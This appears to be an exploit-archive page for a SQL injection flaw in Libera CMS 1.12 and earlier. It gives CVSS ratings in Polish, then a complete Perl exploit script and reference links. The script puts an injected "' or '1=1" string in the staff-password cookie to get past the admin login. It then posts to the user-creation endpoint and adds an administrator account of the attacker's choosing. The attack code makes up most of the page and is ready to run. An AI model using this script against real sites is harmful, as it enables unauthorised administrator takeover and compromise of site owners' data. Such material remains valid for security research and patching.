Libera CMS <= 1.12 (Cookie) Remote SQL Injection Exploit

2008.10.23
Credit: StAkeR
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#!/usr/bin/perl # ---------------------------------------------------------- # Libera CMS <= 1.12 (Cookie) Remote SQL Injection Exploit # Perl Exploit - Add a new admin with your credentials! # Author: StAkeR - StAkeR[at]hotmail[dot]it # ---------------------------------------------------------- # Usage: perl http://localhost/cms StAkeR obscure # ---------------------------------------------------------- use strict; use LWP::UserAgent; my ($hostname,$username,$password) = @ARGV; my $request = undef; my $http_s = new LWP::UserAgent or die $!; $hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner(); banner() unless $username and $password; $http_s->agent("Mozilla/4.5 [en] (Win95; U)"); $http_s->timeout(1); $http_s->default_header('Cookie' => "libera_staff_pass=' or '1=1"); $request = $http_s->post($hostname."/admin.php?action=add_user_process", [ username => $username, password => $password, password_again => $password, email => 0, su => 1, submit => "Add+User" ]); if($request->is_success) { if($request->content =~ /added successfully/i) { print "[+] Exploit Done!\n"; print "[+] Added New Administrator:\n\n"; print "[+] Username: ${username}\n"; print "[+] Password: ${password}\n"; } else { print "[!] Exploit Failed!\n"; print "[!] Site Not Vulnerable\n"; } } sub banner { print "[+] Libera CMS <= 1.2 Remote SQL Injection Exploit (add new admin)\n"; print "[+] Usage: perl exploit.pl [host] [username] [password]\n"; print "[+] Example: perl exploit.pl http://localhost/cms StAkeR obscure\n\n"; return exit; }

Referencje:

http://xforce.iss.net/xforce/xfdb/45011
http://www.securityfocus.com/bid/31102
http://www.milw0rm.com/exploits/6416
http://secunia.com/advisories/31811


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top